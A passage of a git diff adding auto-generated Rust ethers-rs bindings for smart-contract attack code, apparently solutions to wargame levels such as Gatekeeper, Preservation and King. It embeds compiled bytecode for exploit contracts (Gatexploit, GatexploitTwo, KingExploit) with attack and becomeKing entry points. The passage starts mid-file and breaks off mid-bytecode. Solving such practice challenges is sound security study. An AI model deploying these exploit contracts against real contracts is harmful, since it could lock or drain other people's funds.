/// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + GATEXPLOIT_ABI.clone(), + GATEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0xd018db3e) + /// function + pub fn attack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([208, 24, 219, 62], target) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for Gatexploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `attack` function with signature `attack(address)` + /// and selector `0xd018db3e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "attack", abi = "attack(address)")] + pub struct AttackCall { + pub target: ::ethers::core::types::Address, + } +} diff --git a/attack/src/abi/gatexploit_two.rs b/attack/src/abi/gatexploit_two.rs new file mode 100644 index 0000000..fd47cf9 --- /dev/null +++ b/attack/src/abi/gatexploit_two.rs @@ -0,0 +1,138 @@ +pub use gatexploit_two::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod gatexploit_two { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some( + ::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + },], + }, + ), + functions: ::std::collections::BTreeMap::new(), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEXPLOITTWO_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x01\xCA8\x03\x80a\x01\xCA\x839\x81\x01`@\x81\x90Ra\0/\x91a\x01\x1EV[`@Q`\x01`\x01``\x1B\x03\x190``\x1B\x16` \x82\x01R`\0\x90`4\x01`@Q` \x81\x83\x03\x03\x81R\x90`@R\x80Q\x90` \x01 `\xC0\x1C`\x01`\x01`@\x1B\x03\x18`\xC0\x1B\x90P\x81`\x01`\x01`\xA0\x1B\x03\x16\x81`@Q`$\x01a\0\x9D\x91\x90`\x01`\x01`\xC0\x1B\x03\x19\x91\x90\x91\x16\x81R` \x01\x90V[`@\x80Q`\x1F\x19\x81\x84\x03\x01\x81R\x91\x81R` \x82\x01\x80Q`\x01`\x01`\xE0\x1B\x03\x16c\x19\xB8\x10'`\xE1\x1B\x17\x90RQa\0\xD2\x91\x90a\x01NV[`\0`@Q\x80\x83\x03\x81`\0\x86Z\xF1\x91PP=\x80`\0\x81\x14a\x01\x0FW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\x14V[``\x91P[PPPPPa\x01}V[`\0` \x82\x84\x03\x12\x15a\x010W`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x01GW`\0\x80\xFD[\x93\x92PPPV[`\0\x82Q`\0[\x81\x81\x10\x15a\x01oW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x01UV[P`\0\x92\x01\x91\x82RP\x91\x90PV[`?\x80a\x01\x8B`\09`\0\xF3\xFE`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 M\x0F\xD9'*\xF4\x027^g\xD9\xEC\xB3\xC3\xA9\xBE%\n\xD5\x1AB\xC0\xAF\x89\xEA\xA86\x10\x1B\"\xBB\xC9dsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static GATEXPLOITTWO_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 M\x0F\xD9'*\xF4\x027^g\xD9\xEC\xB3\xC3\xA9\xBE%\n\xD5\x1AB\xC0\xAF\x89\xEA\xA86\x10\x1B\"\xBB\xC9dsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static GATEXPLOITTWO_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct GatexploitTwo(::ethers::contract::Contract); + impl ::core::clone::Clone for GatexploitTwo { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for GatexploitTwo { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for GatexploitTwo { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for GatexploitTwo { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatexploitTwo)) + .field(&self.address()) + .finish() + } + } + impl GatexploitTwo { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + GATEXPLOITTWO_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + GATEXPLOITTWO_ABI.clone(), + GATEXPLOITTWO_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + } + impl + From<::ethers::contract::Contract> for GatexploitTwo + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } +} diff --git a/attack/src/abi/i_preservation.rs b/attack/src/abi/i_preservation.rs new file mode 100644 index 0000000..d2e00cb --- /dev/null +++ b/attack/src/abi/i_preservation.rs @@ -0,0 +1,246 @@ +pub use i_preservation::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod i_preservation { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("setFirstTime"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("setFirstTime"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_timeStamp"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("setSecondTime"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("setSecondTime"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_timeStamp"), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static IPRESERVATION_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + pub struct IPreservation(::ethers::contract::Contract); + impl ::core::clone::Clone for IPreservation { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for IPreservation { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for IPreservation { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for IPreservation { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(IPreservation)) + .field(&self.address()) + .finish() + } + } + impl IPreservation { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + IPRESERVATION_ABI.clone(), + client, + )) + } + ///Calls the contract's `setFirstTime` (0xf1e02620) + /// function + pub fn set_first_time( + &self, + time_stamp: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([241, 224, 38, 32], time_stamp) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `setSecondTime` + /// (0x5bda8fa4) function + pub fn set_second_time( + &self, + time_stamp: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([91, 218, 143, 164], time_stamp) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for IPreservation + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `setFirstTime` function with signature + /// `setFirstTime(uint256)` and selector `0xf1e02620` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "setFirstTime", abi = "setFirstTime(uint256)")] + pub struct SetFirstTimeCall { + pub time_stamp: ::ethers::core::types::U256, + } + ///Container type for all input parameters for the + /// `setSecondTime` function with signature + /// `setSecondTime(uint256)` and selector `0x5bda8fa4` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "setSecondTime", abi = "setSecondTime(uint256)")] + pub struct SetSecondTimeCall { + pub time_stamp: ::ethers::core::types::U256, + } + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum IPreservationCalls { + SetFirstTime(SetFirstTimeCall), + SetSecondTime(SetSecondTimeCall), + } + impl ::ethers::core::abi::AbiDecode for IPreservationCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode( + data, + ) + { + return Ok(Self::SetFirstTime(decoded)); + } + if let Ok(decoded) = + ::decode( + data, + ) + { + return Ok(Self::SetSecondTime(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for IPreservationCalls { + fn encode(self) -> Vec { + match self { + Self::SetFirstTime(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::SetSecondTime(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for IPreservationCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::SetFirstTime(element) => { + ::core::fmt::Display::fmt(element, f) + } + Self::SetSecondTime(element) => { + ::core::fmt::Display::fmt(element, f) + } + } + } + } + impl ::core::convert::From for IPreservationCalls { + fn from(value: SetFirstTimeCall) -> Self { Self::SetFirstTime(value) } + } + impl ::core::convert::From for IPreservationCalls { + fn from(value: SetSecondTimeCall) -> Self { Self::SetSecondTime(value) } + } +} diff --git a/attack/src/abi/king.rs b/attack/src/abi/king.rs new file mode 100644 index 0000000..1dff26c --- /dev/null +++ b/attack/src/abi/king.rs @@ -0,0 +1,345 @@ +pub use king::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod king { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("_king"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("_king"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("owner"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("owner"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("prize"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("prize"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static KING_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = + ::ethers::contract::Lazy::new(__abi); + pub struct King(::ethers::contract::Contract); + impl ::core::clone::Clone for King { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for King { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for King { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for King { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(King)) + .field(&self.address()) + .finish() + } + } + impl King { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + KING_ABI.clone(), + client, + )) + } + ///Calls the contract's `_king` (0x29cc6d6f) + /// function + pub fn king( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([41, 204, 109, 111], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `owner` (0x8da5cb5b) + /// function + pub fn owner( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([141, 165, 203, 91], ()) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `prize` (0xe3ac5d26) + /// function + pub fn prize( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::U256, + > { + self.0 + .method_hash([227, 172, 93, 38], ()) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for King + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `_king` function with signature `_king()` and + /// selector `0x29cc6d6f` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "_king", abi = "_king()")] + pub struct KingCall; + ///Container type for all input parameters for the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "owner", abi = "owner()")] + pub struct OwnerCall; + ///Container type for all input parameters for the + /// `prize` function with signature `prize()` and + /// selector `0xe3ac5d26` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "prize", abi = "prize()")] + pub struct PrizeCall; + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum KingCalls { + King(KingCall), + Owner(OwnerCall), + Prize(PrizeCall), + } + impl ::ethers::core::abi::AbiDecode for KingCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::King(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Owner(decoded)); + } + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Prize(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for KingCalls { + fn encode(self) -> Vec { + match self { + Self::King(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Owner(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::Prize(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for KingCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::King(element) => ::core::fmt::Display::fmt(element, f), + Self::Owner(element) => ::core::fmt::Display::fmt(element, f), + Self::Prize(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for KingCalls { + fn from(value: KingCall) -> Self { Self::King(value) } + } + impl ::core::convert::From for KingCalls { + fn from(value: OwnerCall) -> Self { Self::Owner(value) } + } + impl ::core::convert::From for KingCalls { + fn from(value: PrizeCall) -> Self { Self::Prize(value) } + } + ///Container type for all return fields from the + /// `_king` function with signature `_king()` and + /// selector `0x29cc6d6f` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct KingReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the + /// `owner` function with signature `owner()` and + /// selector `0x8da5cb5b` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct OwnerReturn(pub ::ethers::core::types::Address); + ///Container type for all return fields from the + /// `prize` function with signature `prize()` and + /// selector `0xe3ac5d26` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct PrizeReturn(pub ::ethers::core::types::U256); +} diff --git a/attack/src/abi/king_exploit.rs b/attack/src/abi/king_exploit.rs new file mode 100644 index 0000000..937d1c3 --- /dev/null +++ b/attack/src/abi/king_exploit.rs @@ -0,0 +1,174 @@ +pub use king_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod king_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some( + ::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_king"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + },], + }, + ), + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("becomeKing"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("becomeKing"), + inputs: ::std::vec![], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: true, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static KINGEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`@Qa\x03`8\x03\x80a\x03`\x839\x81\x01`@\x81\x90R` \x91`RV[`\0\x80T3`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x01\x80T\x90\x91\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90U`\x80V[`\0` \x82\x84\x03\x12\x15`cW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`yW`\0\x80\xFD[\x93\x92PPPV[a\x02\xD1\x80a\0\x8F`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0\"W`\x005`\xE0\x1C\x80cg\x08\xCCc\x14a\0}W`\0\x80\xFD[6a\0xW`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\x08\xFCa\0NG`\x01a\x02BV[`@Q\x81\x15\x90\x92\x02\x91`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0vW=`\0\x80>=`\0\xFD[\0[`\0\x80\xFD[4\x80\x15a\0\x89W`\0\x80\xFD[Pa\0v`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\0\xB1W`\0\x80\xFD[`\x01T`@\x80Q\x7F\xE3\xAC]&\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Q`\0\x92s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91c\xE3\xAC]&\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01!W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01E\x91\x90a\x02\x82V[`\x01T`@Q\x91\x92P`\0\x91s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90\x83\x90\x83\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01\xA4W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xA9V[``\x91P[PP\x90P\x80a\x02>W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`'`$\x82\x01R\x7FbecomeKing() failed because call`D\x82\x01R\x7F failed\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01`@Q\x80\x91\x03\x90\xFD[PPV[\x80\x82\x01\x80\x82\x11\x15a\x02|W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV[`\0` \x82\x84\x03\x12\x15a\x02\x94W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 G\xEA\xDA\xB3rnl\x16\xCB\x9D\x98\xD8A\x02\x08k\x83\x8A\xE1\xFB\xA4\xBF\x84\xD4\xADa\xF4RI\xD3\x93$dsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static KINGEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\"W`\x005`\xE0\x1C\x80cg\x08\xCCc\x14a\0}W`\0\x80\xFD[6a\0xW`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\x08\xFCa\0NG`\x01a\x02BV[`@Q\x81\x15\x90\x92\x02\x91`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\0vW=`\0\x80>=`\0\xFD[\0[`\0\x80\xFD[4\x80\x15a\0\x89W`\0\x80\xFD[Pa\0v`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14a\0\xB1W`\0\x80\xFD[`\x01T`@\x80Q\x7F\xE3\xAC]&\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R\x90Q`\0\x92s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91c\xE3\xAC]&\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01!W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01E\x91\x90a\x02\x82V[`\x01T`@Q\x91\x92P`\0\x91s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90\x83\x90\x83\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01\xA4W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xA9V[``\x91P[PP\x90P\x80a\x02>W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`'`$\x82\x01R\x7FbecomeKing() failed because call`D\x82\x01R\x7F 